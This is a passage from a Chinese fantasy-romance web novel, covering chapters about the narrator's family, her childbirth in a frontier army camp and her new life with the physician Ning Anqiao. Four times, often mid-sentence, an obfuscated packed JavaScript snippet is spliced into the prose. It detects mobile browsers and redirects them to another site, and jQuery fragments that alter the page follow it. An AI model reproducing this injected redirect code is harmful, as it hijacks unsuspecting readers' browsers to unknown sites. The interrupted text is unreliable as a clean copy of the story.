这与此次关禁闭有关。下凡贪玩落得一身伤,爹爹救回我后不许我再离家半步,因为施下的术法需要我沉心静气,不可浮躁不可过度兴奋和愤怒。到底是什么术法如此麻烦,爹爹不告诉我,两位兄长和二姐也被下令不许告诉我。 西雨见状眉头当即蹙起。 “身体不舒服?” “腰酸而已。” “这里?” 说着手抚上我的腰,作势要给我揉揉。我吓得赶忙打起精神后退三步。 “没事了!突然不酸了!妙手回春啊西雨大夫!” 他怔愣一瞬,也同我开玩笑说:“南风仙子客气了。” 倏地,余光瞥见一抹白色闪过,似乎躲在门后再往里偷看。我纳闷着偏过头死死盯着那处,只等他探出头来当场捉拿归案。 “枕书君?” 想不到门口鬼鬼祟祟的人居然就是我那即将过门的姐夫。我立刻朝他笑了笑,挥手招呼。趁此机会,拨开西雨朝云枕书跑去。 听到我叫他,云枕书吓得浑身僵硬,不过看到还有西雨在场,他肉眼可见安心不少。 “来了怎么不进去?快请!” “不不不,我只是路过。那……你二姐,元君……不在吧?” 原来如此。怕我估计是担心我和二姐一个性子吧。 我露出微笑,指了指内院。 “在的,在榻上睡了。枕书君找二姐?我去给你叫。” 他立马叫住欲要离开的我,“不不不,不必,她没醒着我就放心了。” “枕书君——”我故意拉长声音,“到底是喜欢我二姐还是讨厌她啊?” 虽然我没有恶意,但可能语气稍微偏质问了吧,云枕书稍稍退后,皱起了眉头。 “南风仙子何出此言?元君昨日刚同我吵了一架,我怕她还在气头上,所以……” “不是吵了一架,是你单方面被骂了吧。” 我用缓和的语气说道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15188474|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “二姐的性格和爹爹如出一辙,骂起人来一点不留情面,我替她向枕书君道歉。” 搬出诚恳的态度,我向云枕书深鞠一躬,见一旁直挺挺站着不动的西雨,我一把薅过来拉着他和我一起道歉。 云枕书赶忙扶起西雨。没扶我,是不敢。 “南风仙子言重了。元君,也是为我好。不希望我整日一副懦弱的样子,不像个男人。” 我赶忙接过话:“没有吧,我觉得枕书君这样挺好的。知书达理,玉树临风。所以仙界的仙子都争着抢着要嫁给你呢。自信点!要不要叫我大哥给你打造把涨气势的神器?” “不必麻烦了。说来,北雷真君还在闭关炼造新神器吗?” “嗯!说是给我的,所以要一定要炼成七七八十一天!” “是七七四十九。”西雨又无情地插进来。 “啊,抱歉。” 云枕书离开后,我腰疼得厉害,西雨陪我在院里的石椅上休息。 我揉了揉腰,忍不住感叹:“夫妻啊……人神为什么一到年纪就得成婚生子呢?嫁给自己不喜欢的人,或者不合适的人,不是自己找罪受吗?简直像把自己关进牢笼。” 爹爹不会替我安排婚事,他巴不得关在家里少去祸害纯情男神男仙。 况且嫁给自己不喜欢的人,或是不合适的人,不就送自己吃苦主动把自己送进牢笼吗。 西雨的回话没有一丝迷惘。 “为了有归宿吧。” 我撇撇嘴,完全不能理解:“我现在也有归宿啊。和哥哥姐姐们在一起,一家人整整齐齐,多好。” “二姐和枕书君成亲后便会搬出去,大哥成家后也会。我……也会。”西雨忽然压低了声音。 我也被感染一同失落,心里一沉,“到时候只有我和爹爹了?” 西雨看了我一眼,“你也会。你会有夫君、子嗣,与相爱之人相守一生。” “子嗣……延续血脉……正因如此,伏羲和女娲分明是兄妹,却也成了夫妻。” 西雨忽然转头盯着我,眼神有些复杂。 “你看我干嘛?” 沉吟良久,他抬眸注视我。 “你……是怎么想的?关于伏羲女娲的事。” 我一时之间不知道该怎么回答。 同时,我总算明白为何西雨对我态度转变的原因是什么。如果是西雨的话,那就没有任何可怀疑的。 在短暂的沉默后,我用难以听清的微弱声音说道:“我——” “南风!”二姐的声音突然从身后炸开,打断了我的话。 我吓了一跳,转头看见二姐风风火火地跑过来。旁边的西雨脸色瞬间冷得像结了冰,眼神阴沉得吓人,比爹爹还吓人。 “二姐下次能不能看看时机再出现?” 然而二姐根本顾及不上他说的话,直接问我:“云枕书是不是来过?” “嗯,刚走。” 二姐长舒一口气,拍了拍胸口:“呼——那就好。” 怎么两人都一副德行,就这么不待见吗。话说回来,这也算某种程度的默契和适配吧。 然后她突然定睛看我,跟才发现我似的。 “你梦醒啦?怎么样,特意给你安排身材魁梧的。” 我差点被口水呛到,赶紧咳嗽两声:“咳咳!” 西雨还在旁边呢!二姐真是……下次能不能看看场合再说话! 57. 丹心寸意 “宁医师。” 听见营帐外熟悉的脚步声我顾不上手炉和披风追出去。 宁安桥回头看到我,眉头下意识蹙紧。 “下雪了,怎么不加衣裳?” 他拉着我重回营内,抓起椅背上的披风给我穿上。 三月下旬的天,本该是春风拂面、万物复苏的时节,可边塞的天气却总是不按常理出牌。预料中的春风迟迟未到,反倒是等来了今年的第一场雪。 营帐外的沙地被一层薄薄的白雪覆盖,原本黄褐色的荒漠在雪的映衬下显得格外寂静。远处的山峦也被雪染成了灰白色,轮廓模糊。风卷着雪花在空中打着旋儿,偶尔有几片落在帐帘上,瞬间化成了水珠,顺着布面滑落。 整个营地笼罩在一片静谧之中,只有风卷着雪花的声音,陪我等待星星的降临。 “着急出来找你。你要去哪儿?” 他手里提着酒壶。 “祭奠一位故人。” “我和你一起去!”我抓住他的衣袖,不肯松手。 他低头看我,眼神凶巴巴的,但只是一瞬,又恢复了平时的温柔:“下雪了。” “没关系。”我坚持。 “不行。”他语气坚决。 我拽着他的袖子,声音软了下来:“你要丢下我吗……” 他沉默了一会儿,终于叹了口气,又给我裹了两层厚衣裳,才带着我出了门。 吃软不吃硬是吧。相处数月我也是摸清了宁安桥的口味。 我扶着宁安桥的手臂,慢慢走在荒漠里。雪已经停了很久,天空一片晴朗,阳光洒在沙地上,映出一片金黄。空气清冷而干燥,脚下的沙子踩上去松软又带着些许凉意。走到一处时,他忽然停下,蹲下身,从怀里掏出两只酒杯,轻轻放在沙地上。 我站在他旁边,看着他动作,忍不住问:“荒漠?那位故人的坟墓在这儿?” 宁安桥没有抬头,继续手里的动作:“不是。他死在开封府,被葬在一片花海中。因为没人知道具体位置,所以我每年都在这里祭奠他。” “不知道埋在哪里?可你不是说一片花海吗?”我有些疑惑。 他轻轻叹了口气,目光飘远:“天下之大,谁知道是哪处的花海。” 他的声音低了下来,像是陷入了回忆:“他去世的那晚,雨下得很大。雨水冲走了地上的血迹,连他的尸体也不见了。后来,大将军收到一封信,说他被葬在了一片花海。” “连落款也没有吗?”我问。 宁安桥摇头,拿起酒壶,清冽的酒液缓缓倒入杯中:“信凭空出现在大将军的书案上,没人见过送信的人。” 我看着他落寞的侧脸,心里有些酸涩:“所以你每年都来这里?” “军营里忙不过来,就在梦里祭奠。” “梦?” “嗯。”他轻声应道,“梦里,我坐在荒漠中,提一壶酒。” 说到这里,他忽然笑了,眼神柔和了几分:“我们第一次见面,也是唯一一次见面,也是在梦里。” 我抿了抿唇,低下头:“抱歉,我不记得了。”犹豫了一下,我又问,“你为什么如此确定是我呢?” “起初并不确定,只是觉得你与她有几分相似。是那支玉笛,让我确信,你就是她。” “玉笛?” 我想起那天晚上他替我捡到的玉笛。 “你说是你大哥特别为你打造的,可在你危险时赶往你身边。” 数月前的记忆蓦然勾起,我恍然大悟。 “所以那时候你说,比起神仙术法,巫蛊之术更具说服力……你知道玉笛是神器,知道我……偏偏不知道我的名字……” 我自嘲地笑了笑,抬头看向远处湛蓝的天际:“要是你知道我的名字,我的旅程大概早就结束了吧。” 冥冥之中我再次确认这场旅途的独特。一切都在按照某个人的剧本展演进行。还记得闻笙说的话吗,有人告诉他我下山的时间和地点,要他在鹿镇等我。偏偏那么凑巧,去清溪山的天颜卿也在。吴盼秩从一开始便知道我从医鹿山去了信州,设局等我下去,为了的就是带我来边疆。下一步呢?既然被流放至此,下一步该去何处? 齐风、楚风、燕风……好熟悉的顺序。假设推断没错的话,第一个名字该不会叫—— “看样子,你还舍不得?” 宁安桥突然打断我的思绪,我笑着摇头。 “以前会这么想。但现在,我有他。便想安定下来,平平淡淡地走过一生。反正我也不是什么神仙了,没了法力,不会长生不死。凡人的寿命极短,我想尽可能多陪他几年。” 陪他在人世间做一对平凡人,或者归隐山林与世隔绝,都不错。 荒漠的空气中弥漫着一种静谧,阳光洒在沙地上,反射出点点金光。我们沉默了很久,宁安桥忽然开口:“你还想回信州吗?或者说,如果你可以离开,你会去哪儿?” 我低头摸了摸隆起的肚子,轻声道:“取决于他吧。” 如果他是柳砚清的孩子,就回医鹿山;如果是颜卿的孩子,就回信州府。绝世仙骨和星君转世……我心里其实已经有了答案,只是还在犹豫。或许,我心底还是希望,来到这世上的依然是两个孩子吧。 “或者,多一处选择?”宁安桥的声音打断了我的思绪。 我默默看着我宁安桥,他站起身,将我摩挲脸庞的碎发拢至而后。 “天底下这么大,难道抉择不出吗。” 我怔了一下,随即扑哧笑出声,“谢谢你,宁医师。” 临产的日子越来越近,我的情绪也变得起伏不定。 宁安桥不许我再去药房和病房,整日窝在营帐里,昏昏欲睡,哪儿也不想去。帐内乱得不成样子——桌上堆着没吃完的点心,冷掉的茶水洒得到处都是,床边的衣服东一件西一件,连宁安桥平时整整齐齐摞好的医书也被我随手翻阅散落一地。 宁安桥不在时只有我一个人,寂静得可怕。偶尔外面有人路过,但很快销声匿迹。孩子要来了,我该怎么办?没有人陪在我身边,没有人告诉我该怎么做。我害怕,害怕自己撑不住,害怕孩子会出事,害怕这一切会失控。听说生孩子会死人,我还那么年轻,还没恢复记忆,还不想死啊! 神器时常会响起我喜欢的曲子哄我开心,但也有心情烦躁不想听见它的时候。 宁安桥自从与我敞开心扉后开始不顾一切纵容我。哪怕帐内乱得连下脚的地方都没有,他也只是默默收拾,从不多说一句。 人嘛,就容易得寸进尺。 时间久了,我甚至开始对他指手画脚,好像他的沉默成了我发泄情绪的借口。 傍晚,他端来一碗热腾腾的粥,每一口都吹凉了些再喂我。 心里突然涌上一股莫名的烦躁,推开碗: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15196719|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我又不是没手没脚,不要你喂。” 我伸手夺过他手里的碗,没把控好力度和情绪,碗猛然晃动了一下,粥洒了一地。看着身上黏糊糊的米粥,我皱起眉头将手里的碗摔向地面。碗在地上滚了几圈,发出刺耳的声响,碎片和食物溅得到处都是,连他干净的衣摆也沾上了污渍。 宁安桥低头看了看地上的狼藉,又抬头看我。 “我去重新盛一碗。” 他一边说一边蹲下身捡起地上的碎片。 “不要你管!”我气得浑身发抖,指着帐门,“出去。我不想看见你。” 我的声音听起来似乎有些颤抖,但他没有注意到我的神情,因为我将脸转向一边,不许他看见我现在狼狈的表情。他沉默了片刻,转身就走,连一句多余的话都没有。 等他离开后,我才感知到自己说了什么过分的话。我难以相信自己居然将临产前恐惧带来的负面情绪毫不掩饰的,当场发飙,尽数撒在他身上。 他什么都没有做错,一味地贯着我。 重新盛了一碗粥后,宁安桥返回帐内,依旧保持着平静。相反,我的情绪倒是快崩溃了。他越是随我为所欲为,我越是生气。 “我自己吃。” 他没说话,默默地将碗里的粥吹凉一些,递给我后退出去。 直到晚上也没有出现。 我以为他只是一时生气,过会儿就会回来。可直到天黑,他都没有出现。帐内安静得让人心慌,我只能听见自己的呼吸声。夜里,我翻来覆去睡不着,心里既委屈又懊恼,却又不肯承认自己错了。 “小气鬼……” 一夜无眠。 第二天一早,我听见有脚步声踏雪而来,咯吱咯吱的,由远及近。我心头一跳,以为是宁安桥回来了,急忙抬头看向帐门。帘子一掀,进来的却是贺祈安。他拍了拍肩上的雪花,跺了跺脚,笑着走进来:“这天儿可真冷,雪下得没完没了。” 我有些失望,勉强扯了扯嘴角:“二将军怎么来了?” 贺祈安搓了搓手,走到炭火旁取暖,随口说道:“我看你这肚子挺大了,估计快生了,过来瞧瞧你。怎么样,有没有哪儿不舒服?” “托将军的福,平安降生没有问题。” 贺祈安点点头,像是突然想起了什么。 “哦对了,安桥去了环州府,说是有点事要处理。来回估计有几日,你不必担心。” “嗯……谢谢二将军。” 贺祈安看了我一眼,似乎察觉到我情绪不高,笑着安慰道:“小两口吵架很正常,你也别怪安桥,他就那臭脾气臭脸,骨子是还是很温柔的。” “嗯,我知道。” 宁安桥什么性子我还是清楚的。 正说着,帐帘又被掀开,两张熟悉的面孔走进来,贺祈安以为我不认识便跟我介绍其。 “这是方劼和李昰,非要来看望你,我想着这俩活宝来陪你说说话也好,就同意了。” 方劼和李昰? 我愣了一下,忍不住问:“你们不是叫鲍渔和单贝吗?怎么……改名字了?” 叫鲍渔的方劼不好意思地笑了笑:“那是家里娘亲取的乳名,出门在外,总得有个正经名字。” 叫单贝的李昰走到我身边,主动说替我去给手炉加些木炭。 忽地,肚子的孩子似乎感应到我心情缓和些,兴奋地踹了我一脚。 58. 月落星沉 我正低头整理药草,突然,一阵剧烈的疼痛从小腹传来,像是一把钝刀狠狠地绞动着我的内脏。我猛地抓住桌角,指尖因用力而发白,冷汗瞬间从额头渗出,顺着脸颊滑落。 “怎么会……在这个时候……” 我咬紧牙关,声音颤抖,几乎是从牙缝中挤出来的。腹中的疼痛一波接一波,像是潮水般汹涌而来,几乎要将我淹没。我勉强扶着桌子,想要站起来,却发现双腿发软,整个人不受控制地滑坐在地上。 身体的疼痛不断撕扯着我,我挣扎着想从地上爬起来,至少让自己不要坐在冰冷的地上。 接连做了几个深呼吸,疼痛不减,越发撕扯得厉害。 我终于忍不住歇斯底里地喊叫。 羊水顺着腿间流下,浸湿了衣裙,冰凉的感觉让我心头一颤。我低头看着地上的水渍,慌乱如麻,手指死死攥住衣角,指节泛白。 帐内寂静无声,只有我急促的喘息和寒风拍打帐布的声音。腹中的疼痛越来越剧烈,像是有什么东西在拼命地往下坠,几乎要将我撕裂。 眼前一阵阵发黑,几乎看不清前方的路。 寒风从帐门的缝隙中灌进来,吹得我浑身发抖,可我却感觉不到冷,只有无尽的疼痛和恐惧。 “安……宁安桥……你在哪儿……” 就在这时,帐门被猛地掀开,一道高大的身影逆着光站在门口。宁安桥冷峻的面容映入眼帘,他的目光依旧冰冷,身后还跟着一位年长的稳婆。 他没有说话,只是快步走到我身边,蹲下身,动作干脆利落。他的手掌贴在我的额头上,冰凉的温度让我稍稍清醒了一些。 “羊水破了。”他冷冷地说道。 稳婆迅速走到我身边,熟练地检查了一下情况,语气沉稳:“别慌,还来得及。这里太冷了,换个温暖点的地方。” 宁安桥眉头微皱,没有丝毫犹豫,他俯下身,手臂穿过我的膝弯和后背,将我小心地从地上抱起。 我靠在他的胸前,能感受到他胸膛微微的起伏,以及他身上那股淡淡的药草气息,混合着冷冽的风雪味道。 他向来有洁癖,平日里连药草沾了灰尘都要重新清洗,可此刻却顾不上我身上浸湿的衣裙和羊水,只是稳稳地抱着我,大步朝营帐外走去。 寒风呼啸,卷起他的衣袍,他的侧脸在昏暗的光线下显得格外冷峻。 “我害怕……”我张了张嘴,声音虚弱得几乎听不见。 他没有回应,只是低头看了我一眼,手臂微微收紧了几分。 “别怕。” 稳婆跟在后面,快步走着,不断提醒我深呼吸。 宁安桥没有停顿,径直将我抱回了平时睡觉的营帐。帐内早已备好了暖炉,炭火正旺,暖意扑面而来,驱散了我身上的寒意。 他将我轻轻放在床榻上,动作小心,仿佛怕弄疼我。床榻上铺着厚厚的毛毯,柔软而温暖,可我却顾不上这些,腹中的疼痛依旧剧烈,让我忍不住蜷缩起身子。 “热水、干净的布,还有剪刀,都准备好了吗?”稳婆一边检查我的情况,一边快速吩咐。 “已经备好了,都在那边。”他指了指角落的木架,上面整齐地摆放着稳婆需要的东西。 许是动静太大,贺祈骁也赶来,瞬间被眼前的画面吓到。 他估计怎么都想不明白,才到营中三个月的人怎么就要生孩子了。 一同来的还有贺祈安、方劼、李昰…… 好多人啊。 稳婆蹙着眉头开始驱散这群大男人。 “闲杂人等回避,不许大声喧哗。” 宁安桥擦去我额头上的汗,也准备一同离开。 “你——你别走。”我死死拽着宁安桥的衣袖不放,“我害怕……” 他蹲下身,紧紧回握住我的手。 “不怕,我不走。” 稳婆开始忙碌起来,低声安抚我:“姑娘,来,跟着我的节奏来,深呼吸……” 我努力按照她的指示调整呼吸,可疼痛依旧剧烈,像是要将我撕裂。 “啊——好痛啊——” 帐内暖炉烧得正旺,炭火偶尔发出轻微的噼啪声。腹中的疼痛几乎要将我从中撕成两半。冷汗顺着额头滑落,浸湿了鬓角的发丝。 “不怕,很快。” 宁安桥略带欣慰的声音落在我的耳畔,他的手被我死死抓住不放,指甲陷进他的皮肉里也不挣脱。 “再用力一点,孩子就快出来了!”稳婆的声音在耳边响起,语气中带着一丝焦急。 还要再用力?!我已经使尽全身的力气!每一次用力都仿佛耗尽了全身的力气,腹中的孩子还是舍不得出来。 我的呼吸越来越急促,胸口剧烈起伏,眼前一阵阵发黑,几乎看不清宁安桥和稳婆的脸。 “不行……我……我没力气了……”我虚弱地开口,声音沙哑得几乎听不见。 “宁医师,怎么办!孩子再不出来,会有危险。”稳婆的声音中有明显的慌乱。 宁安桥握紧我的手,目光冷冽,眉头紧锁。他低头看了我一眼,擦去我额头的汗水。 “我们再试一次,好不好?” 我摇了摇头,眼泪不受控制地滑落。 “我……我真的不行了……好痛……我害怕……” “你可以的。” 他的声音冷冽却坚定,手掌微微用力。 “有我在,你不会有事。你不想让星星落地人间吗?” 星星…… 我闭上眼睛,咬紧牙关,拼尽最后一丝力气,再次用力。腹中的疼痛几乎要将我撕裂,耳边只剩下稳婆急促的指挥声和宁安桥低沉而冷静的声音。 “快了,快了!再用力一点!”稳婆的声音中带着一丝欣喜。 我拼尽全力,眼前一阵阵发黑,几乎看不清任何东西。就在我几乎要失去意识的时候,一声微弱的啼哭突然在帐内响起。 是星星落地的声音…… 婴儿的啼哭声响彻整个军营,盖过了呼啸的狂风。恍惚间,我好像听到帐外的欢呼声。 “你做到了。” 心中的大石终于落地,我哭了,歇斯底里地哭,眼泪像是决堤的洪水,止不住地往外涌。不是因为疼痛,也不是因为疲惫,而是因为激动和高兴。 那颗盼了十个月的星星,终于落在了我的怀里。我颤抖着伸出手,轻轻触碰那张皱巴巴的小脸,指尖传来的温度让我心头一颤,仿佛所有的痛苦都在这一刻化作了无尽的喜悦。 “星星平安落地。” 宁安桥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200393|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的声音在耳边响起,低沉而冷静。 我抬起头,泪眼模糊中看到他那张冷峻的脸。他的唇角微微上扬,露出一抹淡淡的笑意,眼神中少了平日的冰冷,多了几分温和。 不知道为什么,委屈涌上心头,我再次控制不住自己,猛地扑进他的怀里,哭得更大声。 宁安桥的身体微微一僵,似乎没有料到我会这样。但他很快放松下来,手臂轻轻环住我的肩膀,手掌在我的背上轻轻拍着。 “别哭了,伤身子。” 我埋在他的怀里,眼泪浸湿了他的衣襟,哭声断断续续,像是要把所有的委屈、恐惧和喜悦都发泄出来。 宁安桥没再说什么,只是静静地抱着我,任由我哭得声嘶力竭。 稳婆将孩子包裹好,轻轻抱到我们面前。 “是个姑娘,很健康。” 我接过稳婆抱过来的孩子,小小的身子裹在柔软的襁褓里,哭声渐渐弱了下来。我轻轻将他贴近胸口,她本能地吮吸着母乳,渐渐安静下来。 所有的痛苦和挣扎都在这一刻化作了平静。 可不知为什么,我的眼眶又湿润了,泪水在眼底打转,仿佛随时会落下。 宁安桥轻笑着抚摸我凌乱的头发。 “一会儿别把孩子吓到。” 我抬起头,泪眼模糊地看着他。他低头看着我,唇角微微上扬,露出一抹淡淡的笑意。 “名字想好了吗?” 我点点头。 “早就想好了,叫星辰。” “星辰……” 他低声重复了一遍,怜爱地唤着怀中的小小。 “不随爹姓吗?” 宁安桥面无表情地揶揄。 我愣了一下,随即瞪了他一眼。 “你又——” 稳婆在一旁笑着插话:“是啊,跟宁医师姓,宁星辰,好名字啊!” 宁安桥闻言,脸上闪过一丝尴尬,轻咳了两声。 “我去打盆热水。” 他起身准备离开。 我下意识地拽住他的衣袖,手指紧紧攥住那冰冷的布料,不肯松手。他低头看了我一眼,眼神中带着一丝无奈。 “星辰在喝奶呢。你也该擦擦了,我很快回来。” 我看着他,眼泪在眼眶中打转,却倔强地不肯落下。 “别怕,我很快就回来。” 说着他俯身亲吻我的额头。 我这才松开手,看着他转身离开的背影。 帐内暖意融融,怀中的星辰安静地吮吸着母乳,仿佛整个世界都安静了下来。我低头看着那张小小的脸,心中满是柔软和感激。 “星辰啊星辰……你爹爹小时候应该也是样子吧。” 忽然想到什么,连自己也忍不住笑出声来。 “所以你到底是颜星辰,还是柳星辰呢……” 宁安桥很快端着一盆热水回来,动作干脆利落。他将热水放在床边,拧干毛巾,轻轻擦拭我的脸和手,动作细致而温柔。我看着他冷峻的侧脸,心中涌起一股暖流,仿佛所有的疲惫和疼痛都在这一刻化作了平静。 “星辰……”我低声呢喃,嘴角扬起一抹笑意。 宁安桥低头看了我一眼,轻扬唇角。 “嗯,是个好名字。” 59. 福星高照 颜卿如晤: 自别后,已有数月。边塞风雪凛冽,寒意刺骨,比信州冷多了。我在这里一切安好,只是时常挂念你。总是夜深时候特别想他,白日里也会想,只是夜里尤其想念。尤其是看到雪的白,便会想起墨色的梅,便会想起你。 收到你的来信格外兴奋,无眠之夜便会从匣中取出反复斟酌,猜你写信时的心思。这幅墨梅图我很喜欢,找机会去趟城中的装裱画铺子,好生珍藏。北境晴夜时能看到漫天的繁星,本想画下来连同此信寄给你看看,奈何我根本不会画画。这封信也是,碰上好些不会写的字,问东问西东拼西凑勉强写完的。字迹太丑,自己都不忍直视,莫要介意。识不得的字便靠猜吧,凭颜知县的聪明才智一定没问题。 桂花和李叔近来可好?这封信到信州时恐怕快入夏了吧,不晓得信州府门口的海棠开了没。突然想年街市的糕点,没能尝到秋季的桂花糕,怪可惜的。 边疆动荡不安,也不知何年何月是个头,尘埃落定的日子何时到来。届时等我回信州,我们一起去清溪山拜拜。 盼你保重身体,勿以我为念。 楚风谨上 持续了数月的战争,在双方都打得筋疲力尽后,终于坐下来进入了和平谈判阶段。估计大家都被打怕了,再打下去谁也讨不到好处,不如停下来喘口气。谈判条例的第一条就写得明明白白:谈判期间,谁也别动手。 要打仗?等来年再说吧。 宁安桥趁着这个机会,提议带我和星辰去环州府过过“房檐生活”。 所谓“房檐生活”顾名思义到有房檐的屋子去生活一段时间。边疆这些年宁安桥积攒下来的俸禄支持他在环州卖了处地皮,建了座屋子。星辰刚出生两个月,换个环境也好。 六月,入夏。因环州道远,我抱着星辰几次心翻想吐。不得不感叹新生儿的睡眠,颠簸一路,除了醒来找奶吃基本在睡觉。 “怎么都弄不醒呢?” 我看着摇篮里静静熟睡的星辰,轻轻戳着她的小脸蛋。一旁的宁安桥忽然被我无厘头的话逗笑,“醒过来又哭又嚷,你又说快睡觉。” “没办法,谁叫她醒着一直哭。睡着是很可爱,就是太安静了。” 宁安桥扶着我头靠上他的肩膀,“你也休息会儿吧。” 我放松些,斜靠在他颈窝渐渐睡去。 星辰,颜星辰。 姜妍不太满意的名字终究还是被敲定,想知道她听到后会是什么表情。估计会一边抱怨我没用上她取的四月,一边痛哭流涕抱着星辰不肯撒手吧。 如果是颜卿呢?我猜会是这么一幅画面:抱着星辰,两眼发愣,神情恍惚,整个人像被定住一般,然后眼泪悄无声息地从眼眶滑落。说句话?大概会说……是我的星辰,爹爹会宠爱你一辈子的! 如果是柳砚清?嗯——不太敢幻想。跟别的男人生的孩子也敢抱给我看?哼!我要你给我也生一个!哈哈哈哈……应该不会吧。 星君下凡,绝世仙骨。 一具身体里真的可以怀上两个男人的孩子吗?柳砚清倘若知道腹中我与他的孩子被地府夺取会不会一怒之下闯进地府要人啊?是他的话应该做得到。他可是把我从黄泉拉回凡尘的人啊。 在神界,绝世仙骨的诞生并非偶然,而是需要极为严苛的先决条件。首先,夫妻双方必须皆为仙人,且道行极高,至少达到“天仙”或“金仙”境界,方能触及天地法则,孕育出超凡脱俗的后代。若其中一方天生拥有仙骨,则孩子继承仙骨的概率会大幅提升,但这还不足以称为“绝世仙骨”。 要诞生绝世仙骨,还需另一方的神仙血脉极为浓厚,甚至需追溯到上古神族或先天神灵的血脉传承。这种血脉不仅蕴含强大的灵力,还能与天地共鸣,引动大道之力。当双方的血脉与道行完美融合时,便有可能在子嗣体内孕育出“绝世仙骨”。 谁告诉我的?当然是书上写的。 柳砚清能在三百年间进阶仙人,求学蓬莱学习医术,正是他天生拥有仙骨。至于重生前的我……结合书上的描述,我爹爹少说也是金仙等级的神仙。我是个什么东西就不晓得了。 宁安桥在环州的宅子是一座简朴的两层木楼,青瓦白墙,隐在巷子深处。推开斑驳的木门,便见一方小院,院中一口老井,几丛青竹,墙角种了些花草,朴素却生机勃勃。一楼是堂屋与灶房,堂屋内摆着方桌木椅,墙上挂着一幅泛黄的字画;二楼是卧房,窗棂糊着素纸,推开便能望见远处的山影。后院种了些菜蔬,角落里搭了个小棚,堆着柴火。虽无雕梁画栋,却清净自在,正是寻常百姓家的模样。 “宁医师何时来住过?” “从未。” “是吧。” 我用指尖试探了下桌上的灰尘厚度,预感大事不妙。 “不会是拉我来大扫除的吧……” “城中有提供翻新服务的店家,今日我们先去街市添置些物品,晚点再回来。” 他看了眼天色,继续说:“恐怕今晚得住旅店了。” “是吧。” 我倒无所谓,只要星辰大晚上别哭闹,吵到住店的人,揍我一顿就行。 “星辰!” 我眼疾手快,一把抓住小姑娘那蠢蠢欲动、差点抓起地上泥块的小手。 转眼间,星辰已长到了七个月,好动的天性渐渐显露。屋内的桌椅也成了她的“游乐场”,她扶着桌腿摇摇晃晃地站起来,小脚一蹬,便想往椅子上爬,吓得我连忙上前护住。这小丫头,一刻也闲不住。稍不留神,她便从屋内爬到院子旁的菜地里,小手一抓,菜叶上便多了几个小洞。 “脏脏,不可以哟。”我柔声哄道,“来,娘亲抱抱。” 星辰低头瞅了瞅空空如也的小手,嘴巴一撇,眉头一皱,那委屈的小模样儿,简直让人心疼得紧。 “诶!怎么哭了?”我顿时慌了神,手忙脚乱地安抚着。可谁知,这小祖宗越哭越来劲,眼泪珠子吧嗒吧嗒往下掉,弄得我也跟着眼眶一热,差点没哭出来。无奈之下,我只好向身后的宁安桥投去求助的目光。 “我试试。” 宁安桥接过星辰,说来也怪,这小丫头一到他怀里,立马就止住了哭声。小手紧紧勾着宁安桥的脖颈,眼角还挂着泪珠呢,却已经破涕为笑。 “啊,不哭了……为什么!” 我瞪大了眼睛,难以置信地看着这一幕。难道是因为我抱抱所以哭了? 这、这简直不可理喻! 宁安桥一手托着星辰的小身子,另一只手稳稳扶住她的后背,将她高高举过头顶。星辰睁着圆溜溜的眼睛,小嘴咧开,咯咯笑个不停。 “因为星辰喜欢爹爹,对吗?”宁安桥得意洋洋地问道。 “诶~” 星辰奶声奶气地应了一声,小模样儿别提多可爱了。 “……” 我站在一旁,看着这俩你一言我一语好不默契,心里那叫一个酸溜溜的。这问题问得,不就在变相地说不喜欢娘亲吗! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15223533|163432||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 娘亲做错了什么…… 他轻轻将星辰放下,又迅速举高,像是逗弄一只欢快的小鸟。星辰的小手在空中挥舞,试图抓住什么,却总是扑空,笑声更加清脆。 “飞高高,喜欢吗?” 星辰当然听不懂,只是用一串咿咿呀呀的婴语回应,小脚丫也不安分地蹬着。宁安桥依言照做,动作却比之前更加轻柔,生怕吓到她。转了几圈后,他将星辰抱回怀里,让她的小脑袋靠在自己宽厚的肩膀上,轻轻拍着她的背,低声哼起一首不成调的曲子。 好熟悉的曲子…… 对了,是玉笛经常吹奏给我听的曲子。 为什么宁安桥会知道? 